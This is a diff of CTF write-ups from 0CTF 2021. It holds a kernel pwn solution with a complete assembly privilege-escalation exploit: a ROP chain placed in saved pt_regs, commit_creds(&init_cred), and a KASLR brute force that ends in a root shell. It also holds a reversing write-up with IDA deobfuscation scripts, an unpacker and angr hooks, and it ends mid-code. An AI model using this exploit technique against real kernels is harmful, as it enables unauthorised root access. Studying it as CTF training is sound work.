+After spending hours on this idea and ultimately ruling it out I went back to +busdma's crash PoC and started looking for controllable memory in GDB. I +eventually noticed that there were a lot of what looked like userspace pointers +near the bottom of the kernel's stack: + +![](kernote1.png) + +After looking at the system call handler for a bit it became clear that these +are the saved userspace registers. One of the first things the system call +handler does is to [push](https://elixir.bootlin.com/linux/v5.11.9/source/arch/x86/entry/entry_64.S#L115) a `struct pt_regs` on the stack. +[`pt_regs`](https://elixir.bootlin.com/linux/v5.11.9/source/arch/x86/include/uapi/asm/ptrace.h#L44) +contains the values of all the registers at the moment the system call was +invoked. As far as I can tell all registers are [saved](https://elixir.bootlin.com/linux/v5.11.9/source/arch/x86/entry/calling.h#L100) on every syscall, +despite what the comment on `pt_regs` says. Obviously the contents of `pt_regs` +are fully controlled by userspace, minus some constraints such as that `rax` +must contain the correct system call number. + +```c +struct pt_regs { + unsigned long r15; + unsigned long r14; + unsigned long r13; + unsigned long r12; + unsigned long rbp; + unsigned long rbx; + unsigned long r11; + unsigned long r10; + unsigned long r9; + unsigned long r8; + unsigned long rax; + unsigned long rcx; + unsigned long rdx; + unsigned long rsi; + unsigned long rdi; + unsigned long orig_rax; + unsigned long rip; + unsigned long cs; + unsigned long eflags; + unsigned long rsp; + unsigned long ss; +}; +``` + +At this point I had an idea: what if we could store a ROP chain in the contents +of `pt_regs`? `r8`-`r15`, `rbx`, and `rbp` are ignored by the `read` syscall and +can contain any value (except `r11` which contains the saved `rflags`). This +gives us about 80 bytes of contiguous controlled memory. Is this enough to fit +a ROP chain that gives us root and returns to userspace without crashing? Can +we even move the stack pointer to the beginning of the controlled area in a +single gadget? + +As luck would have it, the answer to the second question is yes! I found this +gadget that moves the stack pointer by just the right amount when invoked from +the overwritten `seq_operations` pointer: + +``` +0xffffffff81516ebe: add rsp, 0x180; mov eax, r12d; pop rbx; pop r12; pop rbp; ret; +``` + +But still, 80 bytes is really not a lot. Can we fit our ROP chain in so little +space? A typical payload used to get root in kernel exploits calls +`commit_creds(prepare_kernel_cred(NULL))`. Doing this uses 32 bytes in our ROP +chain. However in addition to this we have to return to userspace cleanly, or +we will crash the VM before we can use our newly-acquired root credentials. +Returning to userspace takes an additional 40 bytes because we need to set `rcx` +to a valid userspace address and `r11` to valid flags before we can ROP to +`syscall_return_via_sysret`. This comes in at 72 bytes, just below of our 80 +byte budget. We can further optimize this down to 64 bytes if we do +`commit_creds(&init_cred)` instead, and skip `prepare_kernel_cred`. `init_cred` +is the `cred` structure used for the init process and it's located in the +kernel's data section. Our final ROP chain then looks like this: + +``` +r15: 0xffffffff81075c4c: pop rdi; ret +r14: 0xffffffff8266b780: &init_cred +r13: 0xffffffff810c9dd5: commit_creds +r12: 0xffffffff810761da: pop rcx; ret +rbp: < address of our code in userspace > +rbx: 0xffffffff8107605a: pop r11; ret +r11: < valid rflags value > +r10: 0xffffffff81c00109: return from syscall +``` + +We need precise control over the values stored in the registers when we invoke +the syscall handler. We need to recover our userspace stack after returning. +This is probably possible in C but I figured I should write a helper function +in assembly instead, to have more precise control over the registers. The +`syscall` instruction already stores the current value of `rflags` in `r11` so +we don't have to set that register. + +```x86asm +pwn: + mov [user_rsp], rsp + mov r15, 0xffffffff81075c4c + mov r14, 0xffffffff8266b780 + mov r13, 0xffffffff810c9dd5 + mov r12, 0xffffffff810761da + lea rbp, [.after_syscall] + mov rbx, 0xffffffff8107605a + mov r10, 0xffffffff81c00109 + ; SYS_read + xor eax, eax + syscall +.after_syscall: + mov rsp, [user_rsp] + ret + +user_rsp: dq 0 +``` + +Combined with the `seq_operations` exploit this makes us root, and we can simply +read and print the flag or `execve` a shell after returning to userspace. + +There is still an elephant in the room though. So far we have assumed that we +know the address of all of these gadgets, and yet we still have absolutely no +leaks of kernel addresses or a way to bypass KASLR. + +Luckily for us even with KASLR the base address of the kernel is not very random. +In fact there are only 512 possible addresses at which the kernel will load +itself. This is small enough that we can brute force it in a reasonable amount +of time. We will keep trying our exploit assuming that the kernel's base address +is `0xffffffff81000000` (same as if there was no KASLR) and eventually we will +succeed. We are nearly guaranteed to succeed at least once if we run the exploit +~2000 times. In our experiments running the exploit against the remote system +took about 5-10 seconds. We did some napkin math and concluded that we should +be able to get the flag in about an hour or two by running multiple instances +of the exploit in parallel. Since we still had several hours left before the +end of the CTF we decided to go with that. We got the flag after about an hour. + +I ended up writing an optimized version of the exploit entirely in assembly to +make it smaller and speed up the brute forcing. The target VM has no internet +access so we have to upload the exploit through the VM's serial port which takes +a long time. Even when using UPX and musl, the C exploit was about 18KB. The +exploit written in assembly is only 342 bytes when gzipped, so it uploads much +faster. + +```x86asm +; Keep running this exploit until it works, which should take about 512 tries. +; Or alternatively find a KASLR bypass :) + +; Emit 64-bit code. +bits 64 +; Use RIP-relative addressing by default. +default rel +; Load at this address +org 0x40000000 + +ELFCLASS64 equ 2 +ELFDATA2LSB equ 1 +EV_CURRENT equ 1 +ELFOSABI_NONE equ 0 +ET_EXEC equ 2 +EM_X86_64 equ 62 +PT_LOAD equ 1 +PF_X equ 1 +PF_W equ 2 +PF_R equ 4 +O_RDONLY equ 0 +O_RDWR equ 2 + +; 64-bit ELF header. +elfh: +; e_ident +db 0x7f, 'ELF', ELFCLASS64, ELFDATA2LSB, EV_CURRENT, ELFOSABI_NONE, 0, 0, 0, 0, 0, 0, 0, 0 +; e_type +dw ET_EXEC +; e_machine +dw EM_X86_64 +; e_version +dd EV_CURRENT +; e_entry +dq _start +; e_phoff +dq phdr - $$ +; e_shoff +dq 0 +; e_flags +dd 0 +; e_ehsize +dw ehsize +; e_phentsize +dw phsize +; e_phnum +dw 1 +; e_shentsize +dw 0 +; e_shnum +dw 0 +; e_shstrndx +dw 0 + +; Size of the elf header. +ehsize equ $ - elfh + +; 64-bit program header. +phdr: +; p_type; +dd PT_LOAD +; p_flags; +dd PF_R | PF_W | PF_X +; p_offset; +dq 0 +; p_vaddr; +dq $$ +; p_paddr; +dq $$ +; p_filesz; +dq filesize +; p_memsz; +dq filesize +; p_align; +dq 0x1000 + +phsize equ $ - phdr + +exit: + mov eax, 60 + syscall + ud2 + +open: + mov eax, 2 + syscall + ret + +ioctl: + mov eax, 16 + syscall + ret + +execve: + mov eax, 59 + syscall + ud2 + +set_note: + mov edx, edi + mov edi, [kfd] + mov esi, 0x6666 + jmp ioctl + +alloc_entry: + mov edx, edi + mov edi, [kfd] + mov esi, 0x6667 + jmp ioctl + +free_entry: + mov edx, edi + mov edi, [kfd] + mov esi, 0x6668 + jmp ioctl + +write_note: + mov rdx, rdi + mov edi, [kfd] + mov esi, 0x6669 + jmp ioctl + +pwn: + mov [user_rsp], rsp + ; 0xffffffff81075c4c: pop rdi; ret + mov r15, 0xffffffff81075c4c + ; 0xffffffff8266b780: init_cred + mov r14, 0xffffffff8266b780 + ; 0xffffffff810c9dd5: commit_creds + mov r13, 0xffffffff810c9dd5 + ; 0xffffffff810761da: pop rcx; ret + mov r12, 0xffffffff810761da + lea rbp, [.after_syscall] + ; 0xffffffff8107605a: pop r11; ret + mov rbx, 0xffffffff8107605a + ; 0xffffffff81c00109: return from syscall + mov r10, 0xffffffff81c00109 + xor eax, eax + syscall +.after_syscall: + mov rsp, [user_rsp] + ret + +_start: + ; kfd = open("/dev/kernote", O_RDWR) + lea rdi, [devpath] + mov esi, O_RDWR + call open + mov [kfd], eax + + ; for (int i = 0; i < 0x100; i++) { + ; alloc_entry(0); + ; } + mov r8d, 0x100 +.sprayloop: + xor edi, edi + call alloc_entry + dec r8d + jnz .sprayloop + + ; alloc_entry(1) + mov edi, 1 + call alloc_entry + ; set_note(1) + mov edi, 1 + call set_note + ; free_entry(1) + mov edi, 1 + call free_entry + + ; statfd = open("/proc/self/stat", O_RDONLY) + lea rdi, [statpath] + mov esi, O_RDONLY + call open + mov [statfd], eax + + ; 0xffffffff81516ebe: add rsp, 0x180; mov eax, r12d; pop rbx; pop r12; pop rbp; ret; + ; write_note(0xffffffff81516ebe) + mov rdi, 0xffffffff81516ebe + call write_note + + ; pwn(statfd, buf, sizeof(buf)) + mov edi, [statfd] + lea rsi, [buf] + mov edx, bufsize + call pwn + + ; execve("/bin/sh", {"/bin/sh", NULL}, NULL) + lea rdi, [shell_path] + lea rsi, [shell_argv] + xor edx, edx + jmp execve + +user_rsp: dq 0 +kfd: dd 0 +statfd: dd 0 +shell_argv: dq shell_path, 0 +buf: times 32 db 0 +bufsize equ $ - buf + +devpath: db '/dev/kernote', 0 +statpath: db '/proc/self/stat', 0 +shell_path: db '/bin/sh', 0 + +filesize equ $ - $$ +``` + +``` +flag{LMm2tayzwWEzGpnmoyyf8zoTmk6X5TQrL45o} +``` + +## Intended solution + +It is pretty clear that this solution is not what the author intended, but +it was still fun and it got us a flag which is what counts. The intended +solution was to overwrite a freed `ldt_struct`. You can find the author's own +writeup [here](https://github.com/YZloser/My-CTF-Challenges/tree/master/0ctf-2021-final/kernote). + +## Conclusion + +Thanks to busdma for the help with reversing and the initial PoC exploit and to +my teammates for letting me bounce ideas off of them. Thanks to 0ops and eee for +the amazing CTF, we really had a lot of fun playing this one. Looking forward +to next year's edition :). + +I don't know if using `pt_regs` as ROP chain is a new technique or not. I've +never heard of it before and I couldn't find anything on Google. It seems pretty +powerful though: it only requires RIP control and bypasses all mitigations +except KASLR, assuming that the kernel has the right gadgets. Let me know if +it's been used before somewhere. \ No newline at end of file diff --git a/0CTF-2021-finals/pwn/kernote1.png b/0CTF-2021-finals/pwn/kernote1.png new file mode 100755 index 0000000..fe70a72 Binary files /dev/null and b/0CTF-2021-finals/pwn/kernote1.png differ diff --git a/0CTF-2021/index.html b/0CTF-2021/index.html new file mode 100755 index 0000000..1a155b3 --- /dev/null +++ b/0CTF-2021/index.html @@ -0,0 +1,216 @@ + + + + + +0CTF/TCTF 2021 Quals | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

0CTF/TCTF 2021 Quals

+ + + + + + + + + + + + + + +
ChallengeCategory
FEArev, obfuscation
+ + + + + + + +
+
+
+ +
+ +
+ + + + +
+ + diff --git a/0CTF-2021/index.md b/0CTF-2021/index.md new file mode 100755 index 0000000..7b20480 --- /dev/null +++ b/0CTF-2021/index.md @@ -0,0 +1,6 @@ +# 0CTF/TCTF 2021 Quals + +| Challenge | Category | +|-----------|----------| +| [FEA](./rev/fea) | rev, obfuscation | + diff --git a/0CTF-2021/rev/fea.html b/0CTF-2021/rev/fea.html new file mode 100755 index 0000000..710b388 --- /dev/null +++ b/0CTF-2021/rev/fea.html @@ -0,0 +1,1133 @@ + + + + + +fea | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

fea

+ +

Authors: gallileo, null +Tags: rev, obfuscation +Points: 458 +Description:

+
+

nc 111.186.58.164 30212

+
+ +

Only a netcat connection as description for a rev challenge, off to a good start I see. After connecting and solving the POW1, we receive the following:

+ +
[1/3]
+Here is your challenge:
+
+f0VMRgIBAQAAAAAAAAAAAAIAPgAB...
+
+Plz beat me in 10 seconds X3 :)
+
+ +

So it seems that this is a twist on the old automatic exploitation challenge :). +I wrote a quick script to collect as many samples as possible, thinking that maybe they were just cycling a few different binaries:

+ +
class chal_info:
+    def __init__(self, idx, md5):
+        self.md5 = md5
+        self.occurrences = 1
+        self.idx = idx
+
+    def did_see(self):
+        self.occurrences += 1
+
+    @property
+    def filename(self):
+        return os.path.join("samples", f"chal_{self.idx}")
+
+idx = 0
+chals: Dict[str, chal_info] = {}
+while True:
+    try:
+        io = start()
+
+        proof_of_work_line = io.recvline(keepends=False).decode("utf-8")
+        io.recvline()
+        hashable_suffix = re.search('sha256\(XXXX\+(.*)\) ==', proof_of_work_line).group(1)
+        hash = re.search('== (.*)', proof_of_work_line).group(1)
+        log.info("Solving POW %s for %s", hashable_suffix, hash)
+        proof = solve_proof_of_work(hashable_suffix, hash)
+        io.sendline(proof)
+        io: tube
+
+        import base64
+
+        def read_challenge():
+            io.readuntil("Here is your challenge:")
+            # swallow 2 newlines
+            io.recvline()
+            io.recvline()
+            challenge = io.recvline()
+            return base64.b64decode(challenge)
+
+        chal = read_challenge()
+
+        chal_md5 = hashlib.md5(chal).hexdigest()
+        if chal_md5 in chals:
+            chals[chal_md5].did_see
+        else:
+            info = chal_info(idx, chal_md5)
+            idx += 1
+            chals[chal_md5] = info
+            with open(info.filename, "wb") as f:
+                f.write(chal)
+
+        log.info("Statistics:")
+        for key, chal in chals.items():
+            print(f"\t{chal.filename}: #{chal.occurrences} ({chal.md5})")
+
+
+        io.close()
+    except:
+        log.warning("Had an error")
+
+ +

I started analyzing one of the binaries in my favourite disassembler. main looked pretty bad and the other functions didn’t look pretty either:

+ +
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
+{
+  int v3; // esi
+  int v4; // ecx
+  int v5; // eax
+  int v6; // ecx
+  int v7; // ecx
+  int i; // [rsp+4Ch] [rbp-34h]
+  int v10; // [rsp+5Ch] [rbp-24h]
+  char *s; // [rsp+60h] [rbp-20h]
+
+  sub_400D90(a1, a2, a3);
+  s = (char *)mmap(0LL, 0x100000uLL, 7, 34, -1, 0LL);
+  memset(s, 0, 0x100000uLL);
+  for ( i = 911436592; ; i = v4 )
+  {
+    while ( 1 )
+    {
+      while ( 1 )
+      {
+        while ( 1 )
+        {
+          while ( 1 )
+          {
+            while ( 1 )
+            {
+              while ( 1 )
+              {
+                while ( 1 )
+                {
+                  if ( i == -1611068981 )
+                  {
+                    perror(aPu);
+                    exit(-1);
+                  }
+                  if ( i != -1554549674 )
+                    break;
+                  i = 1518786008;
+                  usleep(0x186A0u);
+                }
+                if ( i != -1535510725 )
+                  break;
+                v10 = sub_404740(&unk_6060D0, 73569LL, s, 0xFFFFFFLL);
+                v7 = -1085199925;
+                if ( !v10 )
+                  v7 = -1611068981;
+                i = v7;
+              }
+              if ( i == -1297152665 )
+              {
+                perror(a1P);
+                exit(-1);
+              }
+              if ( i != -1085199925 )
+                break;
+              sub_400EC0();
+              i = 1628391944;
+              ((void (*)(void))&s[dword_6060C0])();
+            }
+            if ( i != -122192319 )
+              break;
+            sub_400EC0();
+            i = 1518786008;
+          }
+          if ( i != 610093714 )
+            break;
+          v5 = sub_4014E0();
+          v6 = -1554549674;
+          if ( v5 != dword_6180D0 )
+            v6 = 620693745;
+          i = v6;
+        }
+        if ( i != 620693745 )
+          break;
+        ((void (*)(void))loc_400AC0)();
+        i = -1554549674;
+      }
+      if ( i != 911436592 )
+        break;
+      v3 = -122192319;
+      if ( s == (char *)-1LL )
+        v3 = -1297152665;
+      i = v3;
+    }
+    if ( i != 1518786008 )
+      break;
+    v4 = -1535510725;
+    if ( !dword_6180CC )
+      v4 = 610093714;
+  }
+  munmap(s, 0x100000uLL);
+  return 0LL;
+}
+
+ +

I also noticed that the strings must be encrypted, because one of the functions was doing a sprintf without any format specifiers in a weird looking string:

+ +
snprintf(s, 0x400uLL, &byte_618040, v8);
+char byte_618040[16] =
+{
+  '\xE6', '\xB9', '\xBB', '\xA6', '\xAA', '\xE6', '\xEC', '\xAD', '\xE6', '\xAA', '\xA4', '\xAD', '\xA5', '\xA0', '\xA7', '\xAC'
+};
+
+
+ +

One xref later, we found an init function that decrypts the string. Some IDA scripting later, and we can decrypt the strings in the binary:

+ +
import idaapi
+import ida_segment
+import logging
+log = logging.getLogger("decrypt_strings")
+
+def do_init_array():
+    seg: idaapi.segment_t = ida_segment.get_segm_by_name(".init_array")
+    log.info("Found init_array: 0x%x - 0x%x", seg.start_ea, seg.end_ea)
+    funcs = []
+    ea = seg.start_ea
+    idx = 1
+    while ea != idaapi.BADADDR and ea < seg.end_ea:
+        func_addr = idaapi.get_qword(ea)
+        funcs.append(func_addr)
+        idaapi.set_name(func_addr, f"init{idx}")
+        ea += 8
+        idx += 1
+    return funcs
+
+init_funcs = do_init_array()
+
+dec_loop_size = 0x43
+dec_addr_off = 0x12
+dec_key_off = 0x18
+dec_size_off = 0x26
+import idc
+
+def decrypt_string(loop_start):
+    log.info("Decrypting string@0x%x", loop_start)
+    mov_insn = idaapi.insn_t()
+    xor_insn = idaapi.insn_t()
+    sub_insn = idaapi.insn_t()
+    idaapi.decode_insn(mov_insn, loop_start+dec_addr_off)
+    idaapi.decode_insn(xor_insn, loop_start+dec_key_off)
+    idaapi.decode_insn(sub_insn, loop_start+dec_size_off)
+    addr = mov_insn.Op2.addr
+    key = xor_insn.Op2.value
+    size = sub_insn.Op2.value
+    log.info("Decrypting string @ 0x%x of size 0x%x", addr, size)
+    dec_str = ""
+    for i in range(size+1):
+        car = idaapi.get_byte(addr + i)
+        dec_car = (car ^ key) & 0xff
+        dec_str += chr(dec_car)
+        idaapi.patch_byte(addr + i, dec_car)
+
+    idaapi.create_strlit(addr, 0, 0)
+
+    log.info("Decrypted string: %s", dec_str)
+
+def decrypt_strings():
+    decrypt_string_func = init_funcs[0]
+    log.info("Decrypt strings@0x%x", decrypt_string_func)
+    curr = decrypt_string_func
+    for i in range(8):
+        decrypt_string(curr)
+        curr += dec_loop_size
+
+decrypt_strings()
+
+ +

Turns out the strings were not so useful after all, they are just used for anti debugging. Basically, the binary checks whether the command line is one of gdb, strace, ltrace or linux_server64, and if yes, enters infinite recursion.

+ +

However, I also found another interesting looking init function:

+ +
__int64 init4()
+{
+  __int64 result; // rax
+  int v1; // esi
+  unsigned int i; // [rsp+2Ch] [rbp-14h]
+  void *s; // [rsp+30h] [rbp-10h]
+
+  signal(14, sub_400AF0);
+  alarm(1u);
+  dword_6180D0 = sub_4014E0();
+  s = mmap((void *)0xDEAD0000LL, 0x1000uLL, 3, 34, -1, 0LL);
+  memset(s, 0, 0x1000uLL);
+  for ( i = 691787201; ; i = v1 )
+  {
+    result = i;
+    if ( i == -794482235 )
+      break;
+    if ( i == 397321255 )
+    {
+      perror(a1P);
+      exit(-1);
+    }
+    v1 = -794482235;
+    if ( s == (void *)-1LL )
+      v1 = 397321255;
+  }
+  return result;
+}
+
+
+

It seems to install a SIGALARM handler and also mmaps 0xDEAD0000. The SIGALARM handler basically just sets a variable, such that main can advance. While this looked a lot nicer, it was still clearly obfuscated. I remembered reading about similar obfuscation and there being an IDA plugin that can help with that.

+ +

I found the plugin again and it proved to be quite useful: https://eshard.com/posts/d810_blog_post_1/

+ +

With the plugin installed and configured correctly (make sure to turn off the rules about global variables), functions suddenly looked perfectly fine again:

+ +
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
+{
+  char *s; // [rsp+60h] [rbp-20h]
+
+  sub_400D90();
+  s = (char *)mmap(0LL, 0x100000uLL, 7, 34, -1, 0LL);
+  memset(s, 0, 0x100000uLL);
+  sub_400EC0();
+  while ( !dword_6180CC )
+  {
+    if ( (unsigned int)sub_4014E0() != dword_6180D0 )
+      ((void (*)(void))loc_400AC0)();
+    usleep(0x186A0u);
+  }
+  sub_404740(&unk_6060D0, 73569LL, s, 0xFFFFFFLL);
+  sub_400EC0();
+  ((void (*)(void))&s[dword_6060C0])();
+  munmap(s, 0x100000uLL);
+  return 0LL;
+}
+
+ +

After some basic analysis using our newly found powers, we can see that main is very simple:

+ +
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
+{
+  void (__fastcall **s)(__int64); // [rsp+60h] [rbp-20h]
+
+  setup();
+  s = (void (__fastcall **)(__int64))mmap(0LL, 0x100000uLL, 7, 34, -1, 0LL);
+  memset(s, 0, 0x100000uLL);
+  check_for_debugger();
+  while ( !did_alarm )
+  {
+    if ( (unsigned int)count_breakpoints() != init_num_bps )
+      ((void (*)(void))probably_crash)();
+    usleep(0x186A0u);
+  }
+  unpack(some_buf, 72638, (char *)s, 0xFFFFFF);
+  check_for_debugger();
+  ((void (*)(void))((char *)s + entry_off))();
+  munmap(s, 0x100000uLL);
+  return 0LL;
+}
+
+ +

setup sets up buffering, gets pid and checks the command line. It also installs the following interesting SIGTRAP handler:

+ +
void handler()
+{
+  MEMORY[0xDEAD0000] ^= 0xDEADBEEF;
+}
+
+ +

At first, I thought this was just another anti debugging technique, but as it turns out later, this is used in the binary. +Next, we see that it just waits for the first alarm, then unpacks a buffer and executes it (at an offset). My team mate started working on an unpacker. He said “the source code is self documenting”, so here you go ;):

+ +
#!/usr/bin/env python3
+
+
+def unpack(binary):
+    packed_full = binary[0x60d0:] # TODO: find real size
+    unpacked = bytearray()
+
+    # the packed data is always consumed linearly, so just "eat" prefixes to avoid annoying index calc
+    packed = packed_full
+
+    def eat(n):
+        nonlocal packed
+        val = packed[:n]
+        packed = packed[n:]
+        return val
+
+    def eat_byte():
+        return eat(1)[0]
+
+    firsthigh = packed[0] >> 5
+    assert firsthigh == 0 or firsthigh == 1
+    big_chungus = (firsthigh == 1)
+    assert big_chungus # could remove this assert, but it seems like every chal is actually big chungus
+
+    # remove high bits from very first byte to treat it like a regular memcpy
+    packed = bytes([packed[0] & 0x1f]) + packed[1:]
+
+    def eat_size():
+        # yeah, this is shitty code
+        if big_chungus:
+            eaten = eat_byte()
+            result = eaten
+            while eaten == 0xff:
+                # print("BIG CHUNGUS SIZE")
+                eaten = eat_byte()
+                result += eaten
+            return result
+        else:
+            return eat_byte()
+            
+
+    # this ends up reading more than the size of the original packed buffer, which means it produces garbage at the end.
+    # we probably don't care, but TODO: possibly fix this
+    while len(packed):
+        firstbyte = eat_byte()
+        high, low = firstbyte >> 5, firstbyte & 0x1f
+        # print(high, low) 
+        if high == 0:
+            # simple memcpy
+            size = low + 1
+            unpacked += eat(size)
+        else:
+            if high == 7: # all bits set
+                size = (high - 1) + eat_size() + 3
+            else:
+                size = (high - 1) + 3
+            least_sig_offset = eat_byte()
+            rel_offset = -(least_sig_offset + 1 + 0x100*low)
+            # print("size ", size)
+            if big_chungus and least_sig_offset == 0xff and low == 0x1f:
+                # print("BIG CHUNGUS OFFSET")
+                most_sig = eat_byte()
+                least_sig = eat_byte()
+                rel_offset = -(0x2000 + (most_sig << 8) + least_sig)
+            
+            # print("rel offset ", rel_offset, "; size", size, "; copied", len(unpacked))
+            assert -rel_offset <= len(unpacked)
+            offset = rel_offset + len(unpacked)
+            # existing = unpacked[offset:offset+size]
+            # unpacked += existing.ljust(size, b"\x00")
+            # weird memmove aliasing behavior means we need to copy byte by byte
+            for i in range(size):
+                unpacked += bytes([unpacked[offset + i]])
+    return unpacked
+
+if __name__ == "__main__":
+    filename = "chals/chal_16"
+    binary = open(filename, 'rb').read()
+    unpacked = unpack(binary)
+    open(filename + "__unpacked", "wb").write(unpacked)
+
+
+
+ +

In case the source code isn’t quite as self-documenting as he claimed:

+ + + +

I patched out the anti debugging checks and signal handlers and started debugging. +I dumped the unpacked code into a binary file and loaded it into IDA once again. +I also continued debugging the unpacked code. It was really annyoing to debug and statically analyze, since most functions have the following snippet interspersed every few instructions:

+ +
nullsub_428:
+    ret
+
+call    nullsub_428
+call    sub_2258E
+
+sub_2258E:
+    add     qword ptr [rsp+0], 1
+    retn
+
+ +

Basically, this skips over the byte after the second call and hence IDA cannot really reconstruct the control flow / figure out where instructions are. However, this is nothing a little IDA scripting can’t fix ;):

+ +
import binascii
+import idaapi
+import ida_funcs
+import ida_bytes
+import idc
+import logging
+log = logging.getLogger("patching")
+
+shitty_func = binascii.unhexlify("4883042401C3")
+
+def run(start, end):
+    log.info("Running from 0x%x - 0x%x", start, end)
+    curr = start
+    while curr != idaapi.BADADDR and curr < end:
+        # make code
+        # idaapi.del_items(curr)
+        insn = idaapi.insn_t()
+        ret = idaapi.create_insn(curr, insn)
+        if ret == 0:
+            idaapi.del_items(curr, 8)
+            idaapi.del_items(curr+1, 8)
+            ret = idaapi.create_insn(curr, insn)
+            if ret == 0:
+                log.error("Failed to create instruction at 0x%x", curr)
+                return
+        # insn_size = ret
+        next_ea = idaapi.get_first_cref_from(curr)
+        # if call, check if skip next byte
+        if idaapi.is_call_insn(insn):
+            call_addr = insn.Op1.addr
+            is_skip = True
+            log.info("Shitty func: %s", shitty_func.hex())
+            for i, c in enumerate(shitty_func):
+                if idaapi.get_byte(call_addr + i) != c:
+                    log.info("Mismatched")
+                    is_skip = False
+                    break
+            if is_skip:
+                log.info("Identified skip call @ 0x%x", curr)
+                idaapi.patch_byte(curr, 0xe9)
+                idaapi.patch_byte(curr + 1, 0x01)
+                idaapi.del_items(curr)
+                idaapi.create_insn(curr, insn)
+                next_ea += 1
+                log.info("Next ea: 0x%x", next_ea)
+                # return
+        curr = next_ea
+        # patch to jmp rel
+        # else inc curr
+
+run(0x0, 0x222C8)
+
+ +

Basically, this goes through the instructions and if it sees a call to such a function, it patches it with a jmp to the next byte. Armed with this and debugging some more, it becomes apparent what the function does (manual decompilation):

+ +
int user[2];
+int final[2] = {};
+
+read(0, user, 8);
+sub_223F3(user);
+sub_0(final);
+if (final[0] == user[0] && final[1] == user[1]) {
+    puts("Right!");
+} else {
+    puts("Wrong!");
+}
+
+ +

Unfortunately, for the longest time, I thought that sub_0 was getting called with our input and not zeroes (more on that later). In any case, I tried running angr on it, but it seemed to not really work. One issue was that sub_0 actually has a lot of int 3 instructions. I tried doing the following to implement the sighandler from the binary, but I still didn’t get an answer2:

+ +
class SimEngineFailure(angr.engines.engine.SuccessorsMixin):
+    def process_successors(self, successors, **kwargs):
+        state = self.state
+        jumpkind = state.history.parent.jumpkind if state.history and state.history.parent else None
+
+        if jumpkind is not None:
+            if jumpkind == "Ijk_SigTRAP":
+                val = state.mem[0xDEAD0000].dword
+                state.mem[0xDEAD0000].dword = val.resolved ^ 0xDEADBEEF
+                self.successors.add_successor(state, state.regs.rip, state.solver.true, 'Ijk_Boring')
+                self.successors.processed = True
+                return
+
+        return super().process_successors(successors, **kwargs)
+
+
+class UberUberEngine(SimEngineFailure,angr.engines.UberEngine):
+    pass
+
+
+ +

So I started reving sub_0 manually (still thinking it depended on our input and hence we would need to know what it does). Unfortunately, even with the patched binary, IDA still didn’t want to include all of the function in the function, so some more scripting later, I was finally able to hit decompile on the whole thing:

+ +
def find_prev_next(addr):
+    res = idaapi.BADADDR
+    for i in range(10):
+        res = idaapi.get_first_cref_from(addr-i)
+        if res != idaapi.BADADDR:
+            return res
+    return res
+    
+def append_chunk(curr):
+    if idaapi.append_func_tail(f, curr, idaapi.BADADDR):
+        print(f.tails.count)
+        print(f.tails[f.tails.count-1].start_ea)
+        end_ea = f.tails[f.tails.count-1].end_ea
+        print(hex(end_ea))
+        next_ea = find_prev_next(end_ea)
+        return next_ea
+    return None
+    
+for i in range(400):
+    curr = append_chunk(curr)
+    if curr == idaapi.BADADDR:
+        print("ERROR")
+        break
+
+ +

Before being able to hit F5 and see something, I had to increase the max function size in IDA (this was already very promising), but I finally got to see it in all it’s glory:

+ +
__int64 __fastcall sub_0(__int64 a1)
+{
+  v603 = *(_DWORD *)a1 ^ *(_DWORD *)(a1 + 4);
+  nullsub_1(a1);
+  dword_DEAD0000 = v603 - 471 + 261;
+  __debugbreak();
+  v604 = (((dword_DEAD0000 - 396) & 0x7D ^ 0xCA | 0x1E1u) >> 2) | (((dword_DEAD0000 - 396) & 0x7D ^ 0xCA | 0x1E1) << 6);
+  nullsub_2();
+  nullsub_3();
+  dword_DEAD0000 = v604 / 0x1DF / 0x2E % 0x34;
+  __debugbreak();
+  v605 = (((unsigned int)dword_DEAD0000 >> 2) | (dword_DEAD0000 << 6)) % 0x25;
+  nullsub_4();
+  dword_DEAD0000 = ((((v605 - 292) % 0x16A) | 0x30) + 208) & 0x22;
+  __debugbreak();
+  dword_DEAD0000 = (((dword_DEAD0000 + 137) | 0xB9) ^ 0x166) + 67;
+  __debugbreak();
+  dword_DEAD0000 = (8 * (dword_DEAD0000 & 0x19E)) | ((unsigned __int16)(dword_DEAD0000 & 0x19E) >> 5);
+  __debugbreak();
+  v1 = (unsigned int)dword_DEAD0000 >> 5;
+  v606 = ((((((unsigned int)v1 | (8 * dword_DEAD0000)) ^ 0x1D8 | 0x33) + 87) % 0x2A / 0x1C5) ^ 0x25) % 0x7B;
+  // ---------------------------------
+  // ... around 2500 lines of this lol
+  // ---------------------------------
+  v602 = ((797940 * ((((unsigned int)v251 | (16 * v601)) + 293) & 0x1B6) - 477) << 6) | ((797940
+                                                                                        * ((((unsigned int)v251 | (16 * v601))
+                                                                                          + 293) & 0x1B6)
+                                                                                        - 477) >> 2);
+  v723 = (((2 * v602) | (v602 >> 7)) >> 6) | (4 * ((2 * v602) | (v602 >> 7)));
+  *(_DWORD *)a1 = v723 - 0x50EF943B;
+  result = a1 + 4;
+  *(_DWORD *)(a1 + 4) = v723 - 0x6F1DB3B;
+  return result;
+}
+
+ +

Obviously, this was not going to be possible to reverse by hand. However, it seemed to be just constant operations. Just for the fun of it, I added two rules to the aforementiond deobfuscation plugin:

+ + + +

I did this by adding the following to chain_rules.py:

+ +
class NullSubChain(ChainSimplificationRule):
+    DESCRIPTION = "Replace calls to nullsubs with nops"
+
+    def check_and_replace(self, blk: mblock_t, ins: minsn_t):
+        if blk is None:
+            return None
+        mba: mba_t = blk.mba
+        if mba.maturity != MMAT_PREOPTIMIZED:
+            return None
+        if ins.opcode == m_call:
+            left: mop_t = ins.l
+            if left.t == mop_v:
+                name = idaapi.get_name(left.g)
+                if "nullsub" in name:
+                    chain_logger.info("Found nullsub call at 0x%x", ins.ea)
+                    blk.make_nop(ins)
+                    return None #??
+                
+        return super().check_and_replace(blk, ins)
+
+class DebugBreakChain(ChainSimplificationRule):
+    DESCRIPTION = "Replace calls to debugbreak with sigtrap handler implementation"
+
+    def check_and_replace(self, blk: mblock_t, ins: minsn_t):
+        if blk is None:
+            return None
+        mba: mba_t = blk.mba
+        if mba.maturity != MMAT_PREOPTIMIZED:
+            return None
+        if ins.opcode == m_call:
+            left: mop_t = ins.l
+            if left.t == mop_h:
+                if left.helper == "__debugbreak":
